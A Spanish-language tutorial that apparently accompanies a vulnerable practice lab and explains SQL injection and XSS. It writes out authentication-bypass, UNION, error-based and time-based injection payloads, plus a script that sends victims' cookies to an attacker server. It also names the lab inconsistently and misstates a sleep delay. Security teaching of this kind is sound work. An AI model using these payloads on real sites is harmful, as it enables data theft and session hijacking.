INYECCIÓN SQL (SQLI)

Las inyecciones SQL son una de las vulnerabilidades más conocidas y peligrosas que pueden darse en aplicaciones web.

Esta vulnerabilidad se causa debido a una mala sanitización de inputs introducidos por un usuario, haciendo que la aplicación interprete este input como parte del código en lugar de como texto plano.

Potencialmente, las inyecciones pueden permitir a un agente de amenazas leer tablas a las que no debería tener acceso, pudiendo acceder a datos confidenciales como contraseñas, datos financieros, datos de clientes, datos médicos, etc.

Puede interferir con el comportamiento normal de la máquina, permitiendo, por ejemplo saltarse la autenticación de una aplicación vulnerable.

También, podrá escribir y leer archivos en el sistema, pudiendo potencialmente obtener control sobre este al introducir y ejecutar un archivo malicioso a la máquina.

A continuación, explicaré los numerosos tipos de inyecciones SQL, sus causas, sus posibles soluciones, además, mediante el laboratorio DVSQLA podrá experimentar de forma práctica todos sus tipos y los efectos de las posibles soluciones.

Vale la pena destacar que DVDBA es un laboratorio web vulnerable que estaré desarrollando en paralelo con este proyecto y en el que se ejemplifica todo lo explicado en este documento.

Asimismo, esta aplicación ofrece una instalación rápida y sencilla desde github para que cualquiera pueda realizar las pruebas que realizará durante este documento en un entorno seguro y controlado.

Su explotación es realmente sencilla, simplemente tienes que continuar el código, para que este se comporte como quieres.

Una vez introduzcas la inyección, debido a que la aplicación no es capaz de sanitizar la entrada, lo interpretará como parte de la consulta y lo ejecutará

Causa de la vulnerabilidad

La causa de el SQL Injection, y en general de todas las vulnerabilidades inyection como XSS Injection, XML Injection, e incluso Prompt Injection, se produce debido a una falla en la validación de los datos introducidos por un usuario, produciendo que estos no se interpreten en el servidor como texto plano, sino como código.

En el caso específico de el SQL Injection, la causa más común es introducir los datos directamente en la consulta, sin pasar por una función que valide y procese los datos para la consulta SQL como bindParam en el caso de PHP.

En el código anterior podemos ver claramente el problema, los datos entregados por el usuario se introducen directamente en el código.

Esto produce que la aplicación interprete el input que le hayamos introducido como código.

Esta es la forma más común y destructiva de producir una SQLI, pero ojo, por que no es la única.

Identificación de la vulnerabilidad

Al igual que una persona enferma, una aplicación vulnerable nos dará pistas y señales que nos alertan acerca de una posible vulnerabilidad sin necesidad necesariamente de realizar una explotación.

En el caso específico de una vulnerabilidad SQLI, toda la enfermedad se produce debido a una validación incorrecta de los datos introducidos por un usuario y esto lleva a que interprete ciertas sentencias como código y los ejecute.

Por eso mismo, hay ciertas entradas que podremos usar para detectar una posible vulnerabilidad SQLI sin necesidad de ejecutar una intrusión:

  • Errores sintácticos:

Esto supondría que, por ejemplo, un formulario vulnerable a SQLI será incapaz de procesar el carácter .

Si bien en un entorno local devuelve los errores completos, normalmente, esta situación supondría un Internal Server Error.

Hagamos una prueba:

Aquí podemos ver una página de login completamente normal, y la consulta que se estará ejecutando, así que ahora, introduciré mi nombre, que, por alguna razón, incluye el carácter ‘.

Fatal error, primer síntoma.

En el exterior de la red local este se verá como un Internal Server Error.

Viendo la consulta podemos ver claramente lo que ha ocurrido, esa comilla ha dejado texto plano fuera del campo, lo cual es incapaz de interpretar y, por lo tanto, causa un error, esto deja en claro que, la entrada, no está siendo sanitizada, y por lo tanto, podremos inyectar código.

  • Booleanos simples

Otro síntoma lo encontramos a la hora de introducir datos booleanos al formulario, como, por ejemplo, 1=1  o 1=2.

Pues, una vez que reciba esa carga, interpretará el booleano, y esto afectará al comportamiento de la página.

Un ejemplo de esto, es la archiconocida inyección ‘ OR 1=1-- -, veamos un ejemplo:

Aqui tenemos el buscador de una tienda, al buscar algo, por ejemplo, sillas, realiza la consulta, y busca las sillas.

Sin embargo, ¿qué ocurriría si introduzco un valor booleano?

Como podemos leer en la consulta, ahora se busca una condición, pero además, hemos añadido en un or un valor booleano true, que siempre se cumple, por lo tanto:

La página nos devolverá TODAS las entradas en la base de datos, en este caso, todos los productos.

  • Inyección con retraso

Existen ciertas cargas que son capaces de, en caso de que la página sea vulnerable, son capaces de provocar un retraso bien definido en la respuesta del servidor.

Un ejemplo de esto es, por ejemplo, ' AND SLEEP(5)--

Aquí podemos ver claramente cuál será el resultado para la consulta, se añadirá, además de lo que ya le hayamos indicado, un tiempo de espera de 10 segundos, por lo tanto, podremos claramente diferenciar si la aplicación está ejecutando el código que le pasemos de una forma no intrusiva.

Impacto

El impacto de una Inyección sql una vez ejecutado el ataque dependerá, principalmente, de las prácticas de permisos que se hayan llevado a cabo durante la creación de la base de datos, pudiendo esta buena práctica prevenir que el daño se extienda de ser una filtración menor a una intrusión total en el sistema, pudiendo un atacante, potencialmente:

  • Exfiltrar datos que no deberían ser accesibles para los usuarios comunes, como hashes de contraseñas, nombres de usuario, información bancaria, información médica, etc.
  • SQL es capaz de leer ficheros del sistema, pudiendo filtrarse información que no necesariamente esté en la base de datos, como información del sistema, código fuente de páginas web, datos personales, etc.
  • SQL es capaz de escribir ficheros, pudiendo un atacante malintencionado descargar y, potencialmente, ejecutar malware en el servidor, más adelante se dará un ejemplo de esto.

En resumen, el impacto de una posible inyección no solo se ve limitado a una exfiltración de la base de datos, algo que ya de por sí es lo suficientemente grave, sino que además, fácilmente puede escalar a algo incluso más grave.

Técnicas y formas de explotación

Dependiendo de cómo se haya formado la consulta vulnerable o como reciba o devuelva los datos la página web, deberemos aplicar unas técnicas u otras y tendremos un abanico de posibilidades u otro, pudiendo desde leer datos que no deberíamos poder leer, hasta modificar entradas en la base de datos e incluso leer y escribir en ficheros locales.

A continuación, explicaré las diferentes técnicas y formas en las que se puede explotar esta vulnerabilidad en diferentes situaciones.

Exfiltrar datos ocultos dentro de la tabla

Este es uno de los mayores peligros de las inyecciones SQL, esta situación suele darse debido a una vulnerabilidad en la cláusula WHERE, como en el siguiente ejemplo:

Esta situación permitirá a un agente de amenazas obtener datos de una consulta que no debería de poder ver, por ejemplo:

Aquí nos encontramos en una tienda que tiene un sistema de buscador, y al analizar la consulta que se está utilizando, podemos sacar las siguientes conclusiones:

  • Selecciona las columnas id, nombre, precio y descripción.
  • De la tabla Store
  • Donde el nombre contenga el input entregado por el usuario.
  • Y el status sea 1

Según esta consulta, jamás deberíamos de ver datos de un producto cuyo estado no sea 1.

Al realizar una búsqueda simple, en este caso, buscando la palabra monitor, podemos ver que nos devuelve dos productos, y en ambos, el valor de status es 1.

Ahora, supongamos que somos unos atacantes que quieren ver los productos que no están disponibles, para ello, en este caso específico, puedo realizar la exfiltración comentando la entrada de status = ‘1’ con el siguiente input:

Esta inyección es relativamente sencilla, simplemente estoy introduciendo lo que quiero buscar, en este caso, monitor, completo la consulta y comento lo que va después de ella.

Este es el resultado, al realizar esta búsqueda, encontramos un monitor con status 0, un dato al que no deberíamos de poder ver.

Viendo la consulta, podemos ver claramente lo que está pasando, hemos comentado toda la entrada que incluía la condición de status, por lo tanto, esta condición no se aplica, y podemos ver datos a los que no deberíamos de tener acceso.

Otra forma de obtener datos seria incluyendo condiciones que no deberían incluirse, como por ejemplo, el archiconocido ‘ OR 1=1 -- -

Podemos ver que ahora, se nos han devuelto absolutamente todos los datos de la base de datos, independientemente de su status, es decir, dentro de estos resultados esta absolutamente todo, incluyendo los datos confidenciales a los que no tenemos acceso.

Observando detenidamente la consulta podemos ver el por qué.

En la cláusula WHERE, se da la siguiente secuencia.

  • Quiero todos los datos donde el nombre se parezca a %
  • O, donde 1=1 (true)

En este caso, la condición que se aplica es el booleano 1=1, que siempre se cumple, y por lo tanto, nos lo dará todo.

Exfiltrar datos de otras tablas (UNION)

UNION es una palabra clave de SQL que permite unir dos consultas uniendo los resultados de la segunda consulta a los resultados de la primera columna, veamos un ejemplo de su funcionamiento fuera de la explotación de vulnerabilidades.

Ahora, que ocurrirá aqui, simple, en la misma tabla resultante se unirán los datos de la segunda consulta como si fueran parte de la primera columna.

Esto, normalmente, sirve para añadir más tablas a una aplicación sin necesidad de hacer muchas modificaciones en la aplicación, pero en el contexto de las inyecciones SQL, nos sirve para acceder a datos que no deberíamos de poder ver y que están en otras tablas, por ejemplo:

De nuevo en la página de la tienda, viendo la consulta, podemos ver que la consulta devuelve 5 columnas, por lo tanto, la segunda consulta, tendrá también que tener 5 columnas.

Como curiosidad, en una situación en la que no conocemos el número de columnas, que es la situación que tendremos en la mayoría de pruebas de penetración, podemos averiguarlo usando la sentencia order by, pues, si introduces un número de columna que no se encuentra en el select, dará error:

Jugando con eso, podremos llegar al numero exacto de columnas que posee la consulta.

Bien, ahora, en este ejemplo, queremos obtener algo jugoso, por ejemplo, usuarios y sus respectivas contraseñas, pero, evidentemente, no conocemos ni la tabla en la que se encuentra, ni las columnas de esta tabla, bien, eso es algo que tambien podemos solucionar con UNION, ya que nos permite leer las tablas del sistema, incluyendo information.schema en el caso específico de mysql, por lo tanto, vamos a construir una sentencia con la cual podamos ver las tablas que hay en el sistema.

En este caso, solo buscamos la información de la columna TABLE_NAME, por lo tanto, la inyección que debemos de lanzar es la siguiente: ' UNION SELECT 1, table_name, 2, 3, 4 FROM information_schema.tables -- -

Aquí se da una situación curiosa, solo necesito los datos de una columna, pero necesito poner si o si 5 columnas, así que, esas columnas las completo con números enteros, así completar la tabla y habrá pocas posibilidades de un conflicto en cuanto a los valores.

Y aquí tenemos las diferentes tablas, en este caso, la que buscamos es usuarios, pero de nuevo, no conocemos sus columnas, asi que, usaremos la tabla information_schema.colums para averiguarlo, usare la siguiente inyección: ' UNION SELECT 1, column_name, 2, 3, 4 FROM information_schema.columns WHERE table_name = “usuarios” -- -

Esta vez, añadí un WHERE para que solo me de columnas de la tabla usuarios.

Y aqui las tenemos, las tres columnas de la tabla usuarios, asi que, vamos a obtener los datos de los usuarios, de nuevo, usando UNION para obtener tanto los usuarios como las contraseñas de estos.

Y con esto, la base de datos nos devuelve todos los nombres de usuario y todas las contraseñas.

Cabe destacar que esta es tan solo una de las muchas posibilidades de la sentencia UNION, algunas más de estas, como la lectura y escritura de ficheros locales y su uso en la inyección basada en errores serán exploradas más adelante.

Subvertir la lógica de la aplicación

Existen muchas ocasiones en las que el propio funcionamiento de una aplicación puede ser usado en su contra en caso de una vulnerabilidad como la inyección SQL, permitiendo a un atacante realizar acciones que no deberían ser posibles.

Esto es bastante subjetivo, y depende totalmente del funcionamiento de la aplicación que vallamos a explotar, asi que veamos un ejemplo:

Aquí tenemos una página de login, esta página usa una consulta vulnerable que busca una entrada que coincida tanto con el usuario como con la contraseña, en caso de que obtenga algo de eso, permitirá la entrada al usuario en cuestión.

Sin embargo, hacemos algo tan sencillo como añadir un comentario justo después del usuario.

Como podemos ver, nos ha dejado entrar sin ningún problema, ¿por qué ocurrió esto? bueno.

Al analizar la consulta podemos ver que, el comentario ha eliminado la condición de que la contraseña debe de coincidir con la almacenada en la base de datos, por lo tanto, ahora, la única condición, es que el nombre de usuario sea correcto, y permitirá el login.

Esto es tan solo un ejemplo, pues dependiendo de la aplicación y su naturaleza, se podrán usar unas u otras técnicas, todo dependerá de la creatividad del atacante.

Inyección ciega

Esto ocurre cuando la aplicación no devuelve datos al usuario, haciendo necesarias otras técnicas para poder explotar la vulnerabilidad:

Desatando respuestas condicionales

Esto se puede hacer en casos en los que, si bien no se devuelven datos directamente, la página actúa de forma distinta en función de la respuesta de la base de datos, aqui un ejemplo:

Esta página recibirá una flag, y lo comparara en la base de datos usando una consulta vulnerable, y, si la flag está en la base, dará una respuesta indicando que la flag es válida, si no, dará otra indicando que la flag no es válida.

Con esto, podremos jugar y obtener información útil de la base de datos.

Al añadir la inyección AND 1=1 -- - nos da la flag por válida, pero

Al añadir una condición falsa nos da una respuesta negativa, esto es algo con lo que podremos jugar para obtener información de la base de datos, vamos a ver un ejemplo divertido de explotación.

Mi objetivo es, mediante esta condición, extraer datos acerca de las contraseñas de los usuarios.

Para ello, usaré una sentencia que devolverá TRUE en caso de que el carácter introducido coincidan, y así, poder extraer información caracter por caracter

Ahora, crearé un script de python básico que extraiga la contraseña mediante fuerza bruta letra por letra, método extremadamente más rápido que un ataque de fuerza bruta convencional.

Este script, en resumen, usa una lista de caracteres para, mediante fuerza bruta, obtener una contraseña caracter por caracter.

Este método, a diferencia de la fuerza bruta convencional, es extremadamente rápido, pudiendo obtener en segundos contraseñas independientemente de lo seguras que sean.

En este caso, fueron 12 segundos.

Esto no se ve limitado a contraseñas, en resumen, mediante fuerza bruta, se pueden exfiltrar todos los datos deseados de cualquier tabla.

Basado en errores

Esto suele ser necesario cuando la página no devuelve ningún tipo de respuesta al usuario, ni siquiera una condicional, por lo tanto, deberemos de usar otros caminos.

Cuando hablamos de una inyección basada en errores, hablamos de una situación en la que un atacante puede provocar errores en la página vulnerable para obtener información de esta, pueden ocurrir dos situaciones en este contexto.

Visuales

Los errores son visibles en la página.

En este caso, provoque un error simplemente introduciendo un ‘, y como podemos ver, esta página, que no da ninguna respuesta en caso de haber introducido correctamente o no la flag, devolverá el error completo en un mensaje.

Y, ciertos mensajes de error pueden devolver datos completos, veámoslo mejor con un ejemplo concreto:

Esta sentencia, ya inyectada, utiliza la función xml EXTRACTVALUE para intentar extraer ciertos datos de una ruta específica, esa ruta, será el dato que queremos extraer, el error nos indicará que la ruta x no existe, y esta ruta x, será la entrada que queremos exfiltrar.

Como podemos ver, el mensaje nos devuelve la contraseña que buscamos donde normalmente hay una ruta de un archivo que no existe.

Condicionales

Los errores NO son visibles.

Esto implica que no podemos obtener información de los mensajes de error, lo único que podemos saber es si se está o no produciendo un error.

Con esto podemos jugar, construyendo una consulta que, por ejemplo, en caso de que la condición que le indiquemos se cumpla, divida entre cero, y por lo tanto, produzca un error, veamos un ejemplo sencillo antes de pasar a la explotación.

Esta sentencia, ya inyectada, comprobará, usando un if, una condición, en este caso la condición no se cumple, por lo tanto, no salta error.

Por el contrario, en caso de que la condición si se cumpla, intentara dividir entre cero y, por lo tanto, saltara un error.

Bien, ahora, usaremos el mismo concepto en la explotación de una respuesta condicional, modificaremos la condición para que nos dé una respuesta que nos dé información acerca de los datos dentro de la base de datos, por ejemplo.

En esta consulta se puede ver que, en caso de que la letra que buscamos sea la misma que se encuentra en esa posición exacta de la base de datos, se producirá un error, ya que se dividirá entre cero, si no, no se producirá ningún error.

Es la misma consulta que usamos con las respuestas condicionales añadida como condición a nuestro IF, veamos como funciona.

No se cumple la condición:

Se cumple la condición:

Y, al igual que antes, con un simple script en python de fuerza bruta, podemos exfiltrar los datos deseados de la base de datos en segundos.

El funcionamiento es el mismo que antes, solo que ahora, en vez de detectar una respuesta específica, detecta el error.

Basado en tiempo

Ahora, estamos en una situación aún peor para el atacante, una situación en la que, si bien es capaz de inyectar código, no recibe ningún tipo de respuesta, ni siquiera los errores, por lo tanto, en este escenario, nuestra única opción, es inyectar sentencias que produzcan retrasos perceptibles en la respuesta.

Como podemos comprobar, incluso al provocar un error, no se ha emitido ningún mensaje visible en la página.

Por lo tanto, la única forma de notar una diferencia sería provocar un delay temporal.

La sentencia que aprovechamos será SLEEP, el cual produce un delay en mysql que nos permitirá comprobar si las condiciones que estamos emitiendo son correctas.

Esta sería la sentencia condicional que podremos usar, y la que usaremos como base para el script.

La diferencia de este script respecto a los anteriores es que en lugar de comparar la respuesta, compara el tiempo de la respuesta para hallar los input correctos.

Es mucho más tardado que los métodos anteriores, sin embargo, es infinitamente más rápido que la fuerza bruta tradicional.

Inyección de segundo orden

La situación es la siguiente, la aplicación nos permite almacenar datos en la base de datos, un usuario, una publicación en una tienda, etc, esta consulta esta bien, no tiene ninguna vulnerabilidad explotable, sin embargo, no filtra los datos que se almacenan, y por lo tanto, podría inyectar código que, si bien no será interpretado por la consulta, luego si lo interpretara otra parte de la aplicación, pongamos un ejemplo:

Aquí podemos ver un formulario que nos permite insertar una entrada a la base de datos.

Como se puede comprobar en el código, esta consulta es segura, no presenta una vulnerabilidad SQLI.

Sin embargo, este formulario nos permite introducir datos a la base de datos que, más tarde, servirán para realizar otra consulta.

Y esta consulta SI es vulnerable.

Por lo tanto, para explotarla, deberemos introducir código a la base de datos que, más tarde, será extraído y se usará en la otra query y, por lo tanto, podemos explotarlo.

En este caso, desde el formulario, introduje un payload que me permitirá obtener el nombre y la contraseña de un usuario.

Al revisar la consulta podemos ver claramente que ha ocurrido, la consulta que utiliza los datos almacenados era vulnerable, y una vez llama a esos datos, los ejecuta como código, y con esto, podemos realizar las inyecciones deseadas.

Este método, además, es muy común en vulnerabilidades XSS, cosa que veremos en el siguiente capítulo de este documento.

CROSS SITE SCRIPTING (XSS)

XSS es una vulnerabilidad que permite a un atacante ejecutar un script, normalmente javascript, en el equipo de otro cliente del equipo.

Esta vulnerabilidad suele producirse debido a que no filtra los caracteres especiales en los mensajes de los usuarios y permite a un atacante introducir scripts de java que, luego, cuando la página sea ejecutada por un usuario, se ejecutarán.

Identificación de la vulnerabilidad

El método más usado para detectar esta vulnerabilidad es realizar una inyección con la función alert(), que nos dará una señal muy visible de que se ha ejecutado y, al mismo tiempo, no causa ningún tipo de daño.

Aquí podemos ver el mensaje, si la página es vulnerable, no filtra los caracteres especiales e imprimirá la sección script como parte del html, y, por lo tanto, saltará un aviso con el mensaje indicado.

Al acceder a la página de mensajes, antes incluso de que cargue, se ejecuta el código y salta la alerta.

Además, podemos ver que el código inyectado no es visible para el usuario a menos que vea el código.

En el cual, podemos ver claramente lo que explicamos antes, el código php no usa htmlspecialchars() para filtrar los caracteres especiales de html y este interpreta el script como parte del código, y, en consecuencia, lo ejecuta en el cliente.

Técnicas  formas de explotación

XSS Reflejado

El XSS reflejado se produce cuando una aplicacion no puede filtrar bien los inputs dados por el usuario, permitiendo a este ejecutar js, pero es incapaz de almacenarlo, veamos un ejemplo de su explotacion:

En esta pagina encontramos un buscador simple en una tienda, al buscar, podemos ver que la pagina imprime lo que has buscado.

Inyectando un script simple, usando la funcion alert() de js, podremos comprobar si es vulnerable.

Al iniciar la busqueda, podremos comprobar que el codigo se ejecuto sin lugar a dudas, y por lo tanto, con esto, ya hemos comprobado que la pagina es vulnerable.

Ya sabiendo esto, prepararemos un payload que nos pueda ser util desde la perspectiva de un atacante.

<script> fetch('http://localhost:8000/' + document.cookie, { method: 'GET'}); </script>

El anterior payload almacenara una cookie de quien la ejecute y la enviara a un servidor http indicado en la url.

º

Como podemos ver, una vez inyectado, cualquiera que acceda a esta URL, dado que la inyección se introduce en la url, enviará su cookie FLAG al atacante.

Como podemos ver, el atacante en este caso recibió la flag del usuario víctima, que se almacena a modo de cookie.

Si la pagina funcionara con POST en lugar de con GET, deberíamos de cambiar el método e introducir la cookie en el cuerpo en lugar de en la URL.

Ahora, dado que esta vulnerabilidad es reflejada, como atacantes, deberemos de arreglarnos para que la víctima acceda a esa url maliciosa, de lo contrario, el ataque no tendrá efecto alguno.

XSS Almacenado

Ahora, la situación es mucho más sencilla para el atacante, pues el payload se almacena en el servidor, haciendo que no sea necesario redirigir a una posible víctima a una página inyectada, como en el anterior, sino que bastará con simplemente almacenar el payload y esperar a que la víctima caiga en la trampa.

Ahora, lo que encontramos aquí es una tipica pagina de soporte la cual, nos permite enviar un mensaje a un administrador, sin embargo, de nuevo, no usa htmlspecialchars para filtrar los contenidos, haciendo que podamos inyectar codigo.

Ahora, enviare un mensaje con el payload.

El administrador, al revisar sus mensajes, solo encontrará un mensaje normal.

Pero de fondo, el script se está ejecutando.

Y he recibido la cookie en mi servidor http.

Bibliografía

PortSwinger SQLInjection

PortSwinger Cross Site Scripting

OWASP SQLInjetion 

OWASP Cross Site Scripting

Radware SQLInjection

Halfond, W. G. J., Viegas, J., & Orso, A. (2006). A classification of SQL-injection attacks and countermeasures. Proceedings of the IEEE International Symposium on Secure Software Engineering.